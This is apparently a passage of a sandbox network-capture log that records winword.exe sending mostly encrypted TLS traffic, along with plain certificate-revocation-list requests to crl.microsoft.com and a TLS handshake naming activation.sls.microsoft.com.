\\xd4\\xa1h<\\x03%h.\\xf0\\x97\\x06\\x8e\\xcf\\x1b\\xe1\\xbcw1\\x89\\x0b\\xbd<\\x19\\xa8\\xc0\\xd6\\x16\\xf7\\xba\\x7f\\xca\\x05m(e\\xe7\\x90\\xa5\\xa5\\x01r\\xbb\\xfa\\x13\\x8c\\xb3\\x81|\\xf7\\xd5\\x1b\\x0f\\xfccy\\xb1>\\xd9-s*\\xcb\\xc9\\xd0\\x04\\x7f\\xf1\\x95:`\\x99\\xc6\\xc9\\x82rmbw'k\\x91\\xe9e\\xdd\\xc0cu\\xcer\\xab\\x9d?\\x9b\\xd2\\x04\\x7f\\x02\\x18\\xbe\\xa7\\xd5p;\\xe9\\x18b\\xe1\\x82ot@'\\x98g\\xfb)\\xc7\\xf0rv\\xf3!\\xc2\\x18\\x118\\x0b\\xac\\xa5\\x81\\x03;\\x15\\xfcg\\xe4q\\x7f)\\xf0fm\\xfd\\x04\\xf9\\xc12\\xafq\\xef^1o\\xfb\\xc1\\x05\\xf8\\x84n\\x89\\xa8\\x99,f^\\xcd\\xd9\\xd8v\\x02\\x99''\\x1e5?\\xb0>\\xcf\\xd4o\\xb3ew\\xcf\\xe4j\\xc5\\x8a\\x95\\xb8gn\\x00/\\x17(\\xe8\\xecj\\xc4gu\\x8a8\\xae\\xd8\\x10:\\xa2)\\xe0\\x1e\\x06\\xba\\x86\\x1f\\xc7\\xc41\n,\\x16\\x8ey\\x92\\x01\t\\xcf\\xd2\\x900"


                "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010|tg\\x0c\\xa8\\x9e\\xce\\xa0s1w\\xbe\r\\xc9?\\x1fk\\xb6\\xd2\\x84\\xca\\xba/\\xe2\n<\\xaezk.x2\\x88\\x1f\\xbfh\\x02\\xc1\\xc8\\x81\\x84pp\\x99\\xe2\\x04#\\xbd3|s\\xc1\\xe3\\xd8-\\xd2j\\xd3\\xff\\xee\\xd4\\xa5\\xea\\xaa\\xd3\\x19\\xab\\x18@ubufrv\\xcdm\\xdc\\xdba\\xa5\\xa7\\xff\\xc5\\xde\\x1e\\xd9\\x0e\\xc3\\x90\\x1ep!\\x06\\xdcvg5\\xc9\\xf3\\xbebff\\x00\\x99\\x16o\\xfb\\x16\\xd7\\xd6\\xe0\\xd7\\x82t\\x12y/\\xe8\\xe2%x\\xa3\\xd6\\xacej\\x87\\xb1\\xa9\\xdd\\x9e\\x10\\x046\\xfa\\xf4g\\x97\\x95\\xee\\xf0\\x93\\xd3\\x95\"w \\xb0\\x06qcl\\x00\\x19hs+\\x00^b\\xfc\\xef\trq.h'~3+,x\\xe0\\xf26\\xa7j\\xc8b\\xbf\\x06\\xe3,\\xe3\\x92\\xeecq\\xec\\xed\\xb7>\\xe1,~m\\xff\\\\xd1+|9\\xac\\x19x\\xcc\\xe5\\xe1w\\xf5\\xff\\xe7\\x7f\\x97,46\\xad5\\x84i\\xd7tp\\x0f\\xcc!\\x95\\xb0t\\xf9\\xc5r\\xa8a\\xe3\\x1a\\xa2q\\xc8\\x0e\\x17c\\\\x7f"


                "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xd3\\x9c\\xc5\\xe8\\xda\"\\x1c\\xab\\x9c\\x1d\\xba$\\xd9\\x08\\x05z\\x88u\\xcc\\x9c\\x96\\xed!|\\xb4o\\x0c\\xe4\\x83r\\x8d\\x1f*\"\\x8e\\xeax\\xc5/\\xfb\\xb1\\xa2\r\\xd5hx\\xfd\\x81^\\x93\\x19\\x1fg\\x06\\x0b\\xf5\\x17\\xf8\\x81\\x1a\\x98=\\xcb\\x0e\\xdd\\xefj\\x97\\x14\\x19\\xf0\\xc877a\\x86\\xf5/\\x80~<1\n\\x1f\\x85mw\\xbb\\xb3\\x96\\xda\\xe3g\\x7f\\xees\\xa6/ff>r#o\\xd2\\x97h\\x8d \\x84\\x7fzh\\xb04^\\xfdh\\x96\\xad\\x19\\xf2b\\x9ac^\\x84eapu\\xe2\\xa8\\xa5u\\x97a\\x89\rk\\xf1\\xcfd\\xd1\\xaee\\xf1\\xd8\\xac\\xa5\\\\x04\\xc8\\x95\\xe8\\xf7\\x13\\xd0\\xd8\\xe2lg\\xe6\\x94\\x8e\\xf6\\xfb\\xd7\\xd9\\x13\\x18dy\\xed\\xc7\\xe9pp\\xb5\\xc7\\x92\\x89\\xfa\\x7f\\xb4\\x00\\\\x1e.\\xa7sc\\x95\\x99\\x05\\x84+\\xde\\xf7\\x84/\\xfc\\xb8-?f5\\x8fn\\x9a\\xa0\\x00\\x0b\\x17j\\x0e\\xef\\xb5l\\xd9\\xe1\"\\xc6\\xb9?6\\xe0\\x94~\\x90/\\x85\\x07t8+l\\xbe\\x88\\xf7jt\\xef\\x9f%\\xea"


                "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\t\\xea\\x81\\x93f\\xd7\\xa3\\xbai\\xccjr\\xe9\\x94n\\xd6nj\n\\x1a\\x16\\x96\\xbdnb\\xbe\\xf9\\xd1;\\x86d,\\x8ecg\\x94t\\xa4\\xa1\\xbbw\\xa4b\\xa3\\xd0q\\xb6\\xf5\ni\\x7f\\xeb\\xdee\\xe6\\xd8\\x07?\\xcb\\xf1!ch=4ll'|\\xb4f\\xc1\\x84\\xfe\\xe4\\xae\\xf1\\xf7\\x01\\xc1\\xa0l\\xe7p^j\\xbf\\xedc\\xd2\\x01\\x16\\x19\\x8f5\\xc5px\\xa2\\xc2\\xcc\\xb9\\xff1\\x07\\x1e\\x831\\xffl\\xa68\\x0b\\xf6\\xd1\r\\\\xfe\\xdc\\xbc\\x8f\\x14p\\xfe,\\xdb\\x94c\\xa3~\\x8d\\xcf\\xbf\\x903*:i\\xf8\\x8fe\\x0e\\xe9z\\xc9\\x89\\xfb$\\x03\\x04e\\xb7\\xa7\r\\x08\\xb9|\\xd8\\xcc\\x12\\x99!\\xed\\xfc\\xf0=\r\\xa0\\xe4\\xb0h\\x832\\x10\\xea~\\x07y\\xe7d\\x95\\xb8\\xc7\\x07\\xc3\\xb2\\xce?\\x96\\xaei5\\xf9\\x8d^\\xf1 .\\xa0\\xec\\xe7\\xccb\\\\x16\\xc5\\x91\n\\xc3p\\x18\\xd9\\xf3z&a\\x8b\\xe8\\xc6\\x07\\xd1\\x8b\\xbc\\xcctce\\x86\\x88\\xce\\xb7\\x18\\x08l\\xf8?\\x0e\\xd1?\\xadg\\xeb:\\xf7\\xb2\\xc1\\x13m\\x01"


                "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010r\\x16*\\xa8r\\xe4\\xd6\\xb0i\\xc2\\x95tp\\xeb\\x03bg\\x18\\xf1t\\xf0\\x98\\xfbc\\x80t=\\x83\\xb2l\\xf2\\xce?\\xdb\\x18:ni\\xa563\\xcc\\xda\\xdc\\xb5\\xbc.s\\xd7\\xde\\\\xad\\x07s*d(\\xbc\\xd3-k&`6\\xcd6z\\x94\\x0e\\xd7s!\\xe6\\xcf\\xe8\\x92\\xe2)i\\x11y~\\xae3\\xc9\\x0b\\xd1\\xf6\\x91)\\x08q\\xfe\\xc6\\xd6\\x9b\\x84\\x80\\xbb=\\xcb\\xfeua\r\\xde\\x8a\\xbbn\\xd5\\xca\\x1c\\xa6\\xa5$c\\xff\\xbc\\xc4d\\x0c\\xed/\\xc0hnj9\\xe8\\xd3z\\xd0qa_\\xa8ha\\xb5\\x810%-\\x08|g\\xfc\\x0e\\x98b\\x15u\\x0c\\xbf\"\\xb8v\n\\xd4\\xcf\\xd7\\xa8tvf\\xfb\\xde\\xd5\\xf2\\xb8i\tr\\x1ca\\xec9a\\x0f\\xb4\\xf0\\xa6/\\x8b\\xebp\\xaal\\xab/\\x06\n\\x1c\\xa01k\\xbc\\xd5r)(x\\xea\\xd6\\xd2h\\xe1\r\\x12\\xe4'\\x89\\x9cd\\x0b\\x1bb\\x8b\\x0c\\xea\\x08t\\xea\\xd7fv\\x838f\\xbc\\xac!?\\xf0u\\xc4|o\\xaa`\\xd9\\xe0\\xfa\\xfb\\x15\\xf8vf#e"


                "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\x856l~3\\x90\\xb3#h z\\xc7<8#\\xa2\\x96\\x06^b/\\xab\\xef\\xc8\\xe1\\x0b\\xdef\\x0b\\xda\\x9d\\xa7x\\xc0\\xb9\\x87\\xd7\\x9fx\\xe7\\xaf\\x90\\x9a\\xff\\xb7k.r\\xb6k\\x16\\xde\\x9a\\xc0\\x92^\\xda\\xaf\\xacy\\xba6\\xef\\xfb<\\xe7,\\xccy\\xb7\\x05\\x06\\xd5\\xf8\\x87\n\\x19i6\\x80\\x82\\xb4\\xfe\\x18\\x1ez\\xeb\\xa0\\xc2\\x0c\\xf3\\x9f\\xe1\\x10\\xdf$j\\x17gg\\xfc\\xde\\x91\\x92\\x1bc\\x14\\xfel\\x8d\\x8f\\xf7\\x1aogf\\xde\\xaft\\x81v\\x8a\\x8df\\xa6\\x1a\\xd4\\xa9b\\xc9\\xe1\\xcb|zz\\xb7<\\xfd\\xbf\\xd0\\xf6\\xca\\xf6\\xcd\\x8a\\x1f m\\xc8\\x15\\xe3\\xbaj\\x88f\\xe2\\xc3\\x9c4<x\\x1e\\xff\\x9b\\xcb\\x9c\\xd8\\x03\\xea\\xb1\"c-r\\x1c\\x8a\\x04\\xb2\\xd5(\\xf8m!\\x93i\\xc4\\xff\\xd4\\xa1\\xde@v\\xd6k\\x10r\\x15\\x98,\\x9a\\xfc\\x18\\x9apg\\x18p\\xe8pz1\\x92\\xc36\\xf5\\x8d\\xd8\\xb7\\x93\\x9fo/\\xa2\\xdc\\x9bd\\x8fc/>v;\"\\xde\\xb2\\x1e\\x01\\xc6\\xa4\\x07\\xf27\\xaa\\x12\\x15\\xd2e"


                "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010:\\x89\\xce\\xbd\\x07\\xd6\\x13y\\x85l\\xce\\xb5v\\x85\\xbd\\xf0e^n\\xc6\\xf3c\\xc3\\x08\\xe4z\\xa3\ta\\x7f\\\\xecw3'@\\x837\\x80/8rlj\\xe6@\\xc3\tn\\x0e7\\xb7\\xe8\\xc5\\xac\\x8e\\xde\\x848g\\x8a`\\x072\\x95\\x83\\x821\\xf2:\\xcd\\xd8y\\x12\\xf4\\xdau?\\xa4i\\x9a\\xe29$\\xd3\\x88\\xe7\\x0f\\xe0\\x0b\\x99\\xb8\\x1a\\x9c\\x83)\\x9b\\xe2\\xdb\\x98@7\\x11\\xe0\\x97\\x8c\\x96\\xa1\\xe5\\x0bi_\\xba\\xb2j\\xd8*\\x0c)5\\xb6\\xd7&!\\xdc\\xd2\\xc3\\xf9d \\xbd\\xf7\\x14\\x9a\\xcc'i\\x96\\x9e\\x19\\xf1\\xa6\\x96\\xf9px\\x12k\\xb6\\xc3x\\xa6l\\xd5h\\xf0\\x8dp\\x97\\x04s\\x1b6\r\\\\x17pj\\xbb\\x92\\xee*\\xd1\\x99\\x00~\\xeb\\xa3\\x88\\xaa=z\\xad\\x83q\\xcc\\xcda\\xdc\\xeed\\xbf\\xf2x\\xc3\\xcb%:\\xbbfn\\x8b\\xb5t2\\xc3\\xe1*e\\xdet\\x14p\"\\x13\\xb0\\x8ej\\x15\\xa4\\xb3\\xf4d73g\\xda\\xe8\\x89cf\\x95\t\\xad\\xad\\x8b\\xda\\x9f\\x07p?\\x11lh\\xf9.\\x88\\xf8"


                "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\x00\\xf4\n1\\xaf4\\x81\\x97\\xd4\\x8ao6\\xb42\\x9c\\xb8n\\xdd^\\xf7u\\x02\\x01\\x11\\xb3fhq\\xea\\x82j\\xeed\\xdf\\x10?\\xfep\\xf9\np<\\x0e\\xf2yj\\x8f<\\xcb\\xb1\\x00\\xdb\\xa6\\xd4e\\xe8x\\xe9\\x84\\x16\\x90\\x87\\x97\\xbe\\x83\\xd4\\xc6\\x13\\xbbf\\xeb\\x81\\x07\\xea\\xdd\\xe2h\\xb7k;\\x86\\xc1u\\xb8\\x14\\xdf=n-\\xe5\\xd2\\x01cz\\x8df|\\xd5\\xd1\\x913p\\xc2\\x81\\xc2z(\\x9d\\xefa\\xdbn*f\\xfd\\xa0\\xb9\\xe3\\xf4\\xbe\\x7f(\\xa3\\xaeu\\x8b\\xc3\\x12\\x88\\x13e>\\xe6\\xbca\\xf0i\\xcb\\x98\\xd2\\xd2\"ro\\xfe\\x10gu)\\xdb\\xc7\\xfc\\\\xa2\\x10\n\\xe6?\\x80\\xb8\\x81s,\\x0fu\\xd5uqvei\\x9co9\\xe7\\x17\\x85\\xcew\\xccs\\x98\\xa5' \\xe6\\xe7m\\xb8\\xf1,h\\x9c\\xd5\\xe26\\xfa\\x8cn+\\xa7\\x93\\x96f\\xfc\\xa4v\\x10\\xb7w\\xe9r3u\\xc8\\xae8\\x1e\\xf0qo^en\\xee\\x86\\xcb~\\xbb\\xcf\\xde\\xab\\x07\\xaf\\x0c\\xe448\\xf1v\\x1c\"b"


                "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\x15~%jzfu\\xa6y\\xec\\xd1s\\xba\\x14\\xfc\\xcf\\xb3\\xc8ms,\\xcd\\x9ai\\x1a\\xd4\\x1b\\x84\\x9e\\xdf\\xe6h\\xc1\\x03#9\\x9f\\xfd\\xe3'c\\xe7\\xfb\\xf7\\xe4\\x14\\xb0=\\x08\\xe1\\xc3\\x17\\xf4m\\x17\\x90!\\xf5\\x0b\\xc0\\xf1\\xa4\\xee\\x0e\\x0c\\xe7%\\xce\\x9e\\xcb|\\xfag=\\xd7\\x01\\xa0s\\x0b\\x17g\\x10\\x19:(\\x11\\xdd\\x19\\xfcr\\xe9\\xc8=\\x84p\\xd4\\x88\\xb8\\xb8\\xb1&2\\x0e\\x9e\\xd4p\\x90|ups\\x94z\\x08 \\x1c \\xa8v\\x05\\xf0|\\x95\\x87&\\x01\\xcd\\x93e\\xbf\\xa8\\xf5\\x9b\\xdf\\xe6o\\xf4\\xb1\\xe8c\\xb3x\\x02\\xac|\\x0c\\xf1\\xed\\x8c\\xab\\xf97fvh\\x9fi\\xff\\xe6\\xd0\\xcb\\\\xf8\\x83\\x04;\\xa7\\x0c\\xa5\\xd9\r\\xda\\x15&\\x114\\xa0\\xe4\\xbahl\\xa9c\\x8a\\xb3\\xebl|\\x97:\\xe7gjk \\xcf\\xefe\\x83\\x0f\\xe7\\xf9\\x1f\\x98\\x1d\\x9e\\xf7;\\xb3\\x1b<\\xcb\\xe2\\x94\\xf1^\\x1fl.\\xc1\\xb22`\\xd4\\x10r\\xc8\\x7f\\xf3\\x86\r\\xf2g\\xcb\\xc2ou\\xe3k\\x9b\\xf1\\x0c\\xc8g\\x17\\xa0x"


                "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010jt\\xe9\\x17\\x18\\xd1\\xc5\\x84\\x91\\x81k\\xacd4\\xa2`\\xa1\\xa5a^l\\x8f\\xbb\\x82^\\x1f\\xd4\\xbc\\xebe\\xd8\\xfe\\x1a\\x13)\\x915u\\xf9\\x94\\xa0\\xba\\xe6\\x98\\x12\\x0e<e\\x87\\xa6*\\x93\\xbb\\xfbd\\xa4^>u;\\xae\\xc9\\xc7x\\x9f-f\\x8c\\x90\t\\xc4g\\xca\\x13=\\xb1\\x87\\x13#\\x97\\xb0\\xae>\\xe4\\xb8\\xcf\\xb6\\xd4d\\xbfk1\\xaa\\x12x1\\xd8\\xf6\\x99,a5\\xe8\\x07wj\\x0e|\\xf5t\\xfek-\\xef`\\x11`+\\xfd\\xfc*\\xef\\xd7s\\xd1wx\\xa0(c\\xae\\xd9m\\xdd\\xd2\\x86\\x8e\\xeak\\x89>c\\x1b\\xc2oh\\xb19\\xe8\\x89\\x0b\\x16(\\xe1!\\xe5y\\xa5\\x03\rn\\xaemg\\xa8\\x8ag-nfa\\xe4\\x92\\xaa\\x99\\x97\\x8b\\xdd\\xa4aqo\\x1d;&a\\xb7\\xe5\\x95\\xac\\xa5\\xe6\\xb0a\\xfc\\xab\\x1d\\xdf\\xb2bm\\xde\\xa9\\xd8\\xc2\\xf2\\x0c\\xd8*\\x7f/\\x99\\x17$\\xa7a_\\xdd\\xe5\\x95\\xe8\\xfd\\x8ao\\xf4\\x119\\xd6q\\xec\\xc2\\xc4^j\\xdc\\x0c\\xc0\\xf1<\\x7f\\x84\\xd1\\x15\\xf1\t"


                "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010m\\xf4q\\x80\\xed\\xb8\\xee\\xaf\r\\xaa_\\xde\\x14\\xcd\\xd3+\\x84\\x8b\\x93jka\\xfdf-\\xab\n#0\\xaa\\xb7&k\\xc6\\x87m3i#\\x92\\xfc\\xebv0\\xb6`f\\xc9\\x8d\\xb2^6*a\\xdf@&\\xd9\\xd4?\\x8e\\x1c5\\xe7\\xe3g\\xe5\\xd2\\x14;\\x13\\xfc6^n\\xcfv\\xbax\\xf6?\\x9ag\\xd3\\x93\\xcf\n\\xfb\\xc1%t\\xccku\\xe1\\x94\\xa4\\x12'\\xd4\\xf6km\\x14\\xa5j\\xa1i\\xc5z\\xee\\xf7\\xc9g@\\xf5\\x8b^\\xeb\\x91\\xace<\\xbd\\xde!\\x90\\xcd\\xe9\n\\xd4\\xect\\x98l\\xbb\\x9a\\xe6%\\xa1\\xd0\\x8e\\x118\\xb9\\x11\\xb0f\\x05\\x15s3m\\xb2t\\xd4\\xd3%l\\xf7\\xf3i\\xfa\\xaa|`v\\xcfj\n\\x1d\\xafl\\x14\\x82x\\xc0~\\xe7\\x00r\\\\x01\\xac\\xd7r\\x1e\\x97\\x83\\xf0p\\xf8u\\xbe\\xac\\xd2#@b\\x04\\x89#\\xcd\\xeb\\xc0|.y\\xf8w\\\\xee\\x96z\\xf8\\x01\\xc2\\xbe#\\xc4\\xa8\\xe6\"r\\xf7eh\\x9coz\\x9c\\xd7\\x17\\xa7\\x0b\\xffv\\xe4\\xae2\\xcab_qi\\xf9\\xd1l\\xdc\\xbc"


                "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x0109\\xe8g\\xa2\\x92@\\xbf\\xe3\\xb2f\\xbb\\x19a\\xa1\\xbe<f\\x86\\xe5\\x11\\x15\\x1e'\\xaf\\x90\\xf2b\\xa5\\x08\\xee=\\x1e\\xb0\\\\x05\\x07\\xc0s\\xa4\\xf4@\\xd6b\\xd2\\x07(\\x1csc\\x06t\\x1bp\\xa2\\x1d\\xedf\\x1a\\xd8\\xb3g\\xbd\\xc52pvv\\x07\\x0fd\\xcc\\xe1\\xa7\\x1ddl\\xb6\\xd2\\x03,;z\\xb4\\xd8\\x1bsn\\xf4\\x9b\\xcdj\\x9e\\xde\\x0f+\\x10 \\xcea\\xdf\\xeab\\xeb\\xa6>\\xde\\x1bpj\"\\xa1\\xd0\\xff\n\\xeal\\xda\\xf96v\\xe1\\xfe\r|w\\xbc\\xda\\xb8\\xff\\x15\\xa4\\xcf\\xb2\\x8c\\x97\\xe0\\x1a\\xfef|\\xba9\\xccv%\\xdb?\\xdb?\\x0en\\xebo\\x81\\x9b\\xa2\\x05m\\xa2<\\xf5\\xc6y\\xf8\\xa0\\xd1;a\\xf1\\x8ek\\xb0vl\\xe7\\xd0\\xbd\\xe5g\\x1e>g0g\\x85c\\xbe\\xf9\\x82\\xe4\\xabs\\x1e\no\\x85a\\x083\\x1e\\xee9b,ft\\xa6\\x97\\x9ac\\x1a\\x9d\\xe6 o\\x13\\x1f\\x82\\xa1\\x8a\\xae\\xb3<\\xbc\\x0e\\x18\\xe2w\\x93\\x95\\x0f\\x9d4\\x88\\xd8\\xc5\\xe5:\n\\xad%>\\x19\\x84\\x8e\\xef/\\xef\\x8e"


                "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\x82\\xc9e\\x1a\\xed\\xe0\\x07\\x0emo\\xc0y\\x18f\\xe2\\x82\\xc3\\x9e9:\\xa20t\\xb6\\x15\\xb1\\x90\\xb1\\x9ee\\x9a\\xc0\\x82\\xa099\\x8d\\x11\\xfc\\xaeo\\xa1\\x17\\x1d\\xba\\xab\\xd6@%\\xf2\\xcf\\xc7\\x0e\\xe3\\xaa\\x1a\\xa0\\xf6\r\\x83\\x88da\\xd6\\xea8\\xd2z\\x0cd,\\xfc\\xd1\\xa6\\xfe\\x04\\xb9\\x83\\xe2\\xa5\\xcd\\x1a\\xe8d\"\\x8d\\x9c47\\xca\\xbcz\\x7fn1\\xc5\\x7f\\x91z\\x81t\\xde\\x8f\\xf1\\xd9\\x9a\\xd0\\xe3_w7\\x10v3\\xc5\\la\\xf9\\x1d\\xe1\\xbf\\xea\\xeef\\xcbp\\x11\\xad4\\x85\\xf4c\\xf6|\\x16/5\\xc4r\\xae\\xd3flol\\xd7\\x03\\xbbg\\xe5\\xa1ea\\x89p\\xe5\\x85\\xad\\xa5ix\\xd3\\xea\\xb6\\x17\\x1e\\xf3\\xc0l5<w\\x8cp\\xc7\\x166p\\xb8j\\x19\\x01s6\\x82\\xbc\\xcf\\xe6b\\x81\\xb0\\x90r\\x01\\x87%\\x91p\\x01%g\\xee,\\x1c\\xe0\\xc5lu\\x9dp\\x9e\\x1bjg\\xe6_\\xa0 \\x95\\xc29\\xb4\\xdf<f\\x18\\xed\\x1b#$99o\\x1e\\x92\\x16\\x12\\x0cl\\x9b\\xfe\\xd9\\xba$:k"


                "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xef\\xe2\\x0e\\x0b\t\\x02\\x15\\xb3\\xc1\\x05\\xa5\\x03\\xac\\x84\\x852tk\\xb3\\xfd\\xea\\xb60\\xab\\x98\\x91d\\x0f\\xd5\\xb0y\\x8am\\xab2\\x8b(\\xa5\\xd51b\\xf7\\xe3\\xe0\\x15\\xc2\\xe5\\x9f\\xf20'\\x13\\xbc\\xb8s?$\\xa6@\\xa7\\xf0\\xa0\\xe3e\\xf2\\xd9x\\x7f\\xc4r3\\xe70\\xd2\\x1bn\\xd3%\\xf7y\\xcc\\x13\\xbe\\x82m\\xa2\\xf3\\xa4\\x8d\\xcc\\x0b\\xaf\\xe7\\xc9\\xa6\\xa9\\xd9\\xe7\\xe9s\\xc1a\"\\x80vl\\x10@bam\\xe4\\xbb&\\x0c\\x16`/\\xf7\\xa3)dx\\xbdmg\\x02\\x07\\x88p\\x8a\\x00o\\x01\\xe9\\xac\\x1e\\xfbr\\xf1\\x18s\\xa4\\x98v\\xc4\\x1c\\x1e\\xbe=\\xbcw\\xa8\\xad\\xbe\\xf4\r\\x04\\xc9\\xcf\\x89-9\\x02a>\\x94(<)f\\xe6\\xd0\\x8e@\\xb9!m\\x87\\xde\\xfd\\x9as~#\\xf6\\xf8@\\xd8\\xf6rb2\\xff\\xf1\\\\xaaf\\x0b\\xf5\\xf3a-\\xa4\\xaf\ty`\\xd2\\xa3\\x8a\\x87sq\\xf8\\x14\\x7fe\\xab\\xec\\xa0\\xa3\\xba\\xa5\\xab\\xbe\\xb5\\x1e\\x85i\\xb6\\xdf\\xc2e\\x89'+\\xd2g\\xcf\\x846\\x84\\xf2\\xc9\\xd2\\xc7"


                "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xa1\\xe2\\x16v3f\\x9a\\xeb\\xb2+\\x00\tf\\x85e\\x14\\xa9\\xcc8:\\xb1n\\xdd\"\\xc5\\x9a\\xe4\\xec\\xf1\\x95c\\xa2\\x9f*\\x08\\xf1\\xc1j\\xc3~\\xe5\\x8ak\\x9a:\\xa8\\x1ah\\xed\\x98\\x82\r\\xec?9\\xe9.n\\xa8\\xdd\\xec\\xc8\\xe1\\x87.eg\\xe1\\xa2\\xc3\\x13\\xfds\\xe8\\x8c\\xf9r\\xec\\x8fg\\x7f\\x91\\x1f\\x17\\x1dw\\xdd\\x11gz\\xf0\\xd4\\xb2^0\\xad\\xeb\\x96\\xd9\\x92f\\xfb\\xe0\\xbc\\xbb\\xd5g\\xf9\\xf1\\x9b\\xe9\\x94k\\xfa/uk\\x80\\x15\\x00:\\xdc\\xa5\\xd1/y\t\\xa2\\xb1\\xca \\x7f\\x1a\\xe5<o\n\\y)\\xfd\\x07\\xe6d\\x1a\\xc0\\xf5\\xb0\\xc2u>\\x18\\x1f\\xd4\\x0c\\x1ac=\\xa4\\xab>b\\xec\\x1a\\xf4k\\xfel\\xe7\\xcf\\x0ef.\\x9c\\xaa1\\xf6=\\x06\\x93\\x8f\\x08j \\x92\\xe3+\\xc6\\xf3\\xa1go\\xa8\\xfd\\xe5l\\xbb\\x9c\\x05\\x9e\\x801\\xa9\\xded\\x7f\\xfd\\x12x\\x15\\x18\\xdc2 nb h\\xc8\\x8d\\x1bz\\x8d\\xcf\\xbat\\x1ay\\xfb\\xb6\\x8a\\x07\\xaa6\\x91\\x82\\xbb\\x16\\x01h\\x9f7\\xb7s\\xa2\\x11\\xfb"


                "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xd4&lz\\xcd\\xad\\xe2pvx\\xc1kox\\xdb\n\\xd4y\\xf5-d\\x86\\xff\\x818\\x99\\xca\\xa4\\xea,a/f\\x95\\x01\\xf8\\x8cn\\xa1\\xcf\\xceu\\xea\\x90np\\xf7lo\\xfbc^\\xa8\\x8353p\\x88s\\xc0\\x89\\xf9\\x87sue\\x88\\xd8\\x8ft\\xff\\xef\\xb7_4\\xcaz\\xde\\x10\\x1dn\\x7f\\x85\\x06e#\\x1a#\\x83q\\xc0z\\xb6o\\x9a4\\x99\\xc4\\x9c\\xdfz\\xb4:0\\xdd\\xees^\\xffv?\\x99\\x0c\\xd1\\xc4y\\xec&\\xd0l\\xbd\\xcf\\x99c\\xc7d\\xa5<\\x8fcul\\x96\\x92\ry--x\\x18t\\xbf\\xb4\\x95\\xd9\\xb0\\x93o\\xb9\\xedi>\\x9b\\xd8z\"h#\\xcb\\xe7jd\\xd6t\\xd0v\\xf5kc\\xca\\xbb\\xf5b\\xad\\x98\\x89\\xcd\\xe2+1\\x9f\\xda\\xc1\\xa4\\x01/dz\r\\x93\\x15eo\\x83t\\x84\\x1d\\x7f\\x84#\\xad\\xcb\\xd1\\x9c\\xa0\"\\xb0\n\\xc0\ny\\x15\\xb6g\\x19\\x88\\xe5\\x05\\x86\\x1a\\xa0\r\\x86oqx\\x05\\x9f#k&\\x9d\\x1a\\xc4\\xcf\\xb4\\xc7\\x8d\\xa3\\xfc\\x0c\\x8d\\xe8ba\\x02\\xa3f\\xa3^"


                "http_request": "winword.exe_WSASend_get /pki/crl/products/microsoftrootcert.crl http/1.1\r\nconnection: keep-alive\r\naccept: */*\r\nif-modified-since: thu, 07 mar 2019 06:00:16 gmt\r\nuser-agent: microsoft-cryptoapi/6.1\r\nhost: crl.microsoft.com\r\n\r\n"


                "http_request": "winword.exe_WSASend_get /pki/crl/products/microsoftrootcert.crl http/1.1\r\nconnection: keep-alive\r\naccept: */*\r\nif-modified-since: wed, 22 may 2019 05:00:43 gmt\r\nuser-agent: microsoft-cryptoapi/6.1\r\nhost: crl.microsoft.com\r\n\r\n"


                "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x7f\\x01\\x00\\x00\\x03\\x01;/\\x1a\\xf2\\xe5.\\xb2k\\xe0\\xd1\\x0e\\xa1\\x96\\x0f\\x81h\\x97pc\\x90\\x9b\\x-\\xfe\\xca0qnk\\xab\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00:\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00!\\x00\\x1f\\x00\\x00\\x1cactivation.sls.microsoft.com\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"


                "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x01\\x06\\x10\\x00\\x01\\x02\\x01\\x00\\x86\\x0bf\\xefb\\xa4_\\xc5j\\xc6\\xdb\\xb61&\\xdd\\xcd9\\xfa\\xd9\\xf7\\xba\\xe4fi|\\xc9,\\xa9\\xd1\\xedw=\\xbbv\\x9foz\\xe7/3p\\x8f\\x8b\\xb9b'l\r\\xfeg3.~\\x82\\x92\\xa6\\xcb&\\xf8\\xb5y\\xb6\\xc9z\\xcd\\xd6q\\xce\\xd5qw\\xbay\\xa98\\xef\\x9f\\x0cm\\x00\\xed\\xf5\\xd1\\xc0\\x88/\\x1fh\\x068\\xcb\\x16\\x9c\\xbey\n\\xfc\\x17\\xc5+\\x95q\\xd9p8\\xdf\\xec\\xd5\\xef\\x95!k\\xaf\\x95\\xfa\\xaf\\x16)\\x9d\\xd5y\\xf6c\\\\x85\\xce\\x07\\xf0\\x84\\x13\\xeca\\x97ahbz\\x94\\x9b8\\xc3\\xbb\\xf2b\\x00+\\x91\\xf1\\x10w\\xdb\\xcb\\xe8\\x88\\xb2\\x00\\x87\\xbb@\\x9f9l\\xf0\\x15_\\x0b`\\xae\\xab\\xa1\\xff\\x8d\\xb6\\xf1\\xe7\\x94\\xb416\\x87u\\xdeds\\xcc\\xc82\\xe21\\xefo\\xd0\\x9e\\xdbs\\xaf\\x93\\xda\\xd0\\xb3\\x1a`\\xde\\xc9\\x07\\x84\\xb1\\x8e6\\x8c\\x02a\\x05#\\xff1g\\x020\\x1al\\xad5\\x88\\xf5m?\\xcfjro\\xa8\\xf71\\xa9\\x9a\\xd5n\\xff\\xa0"


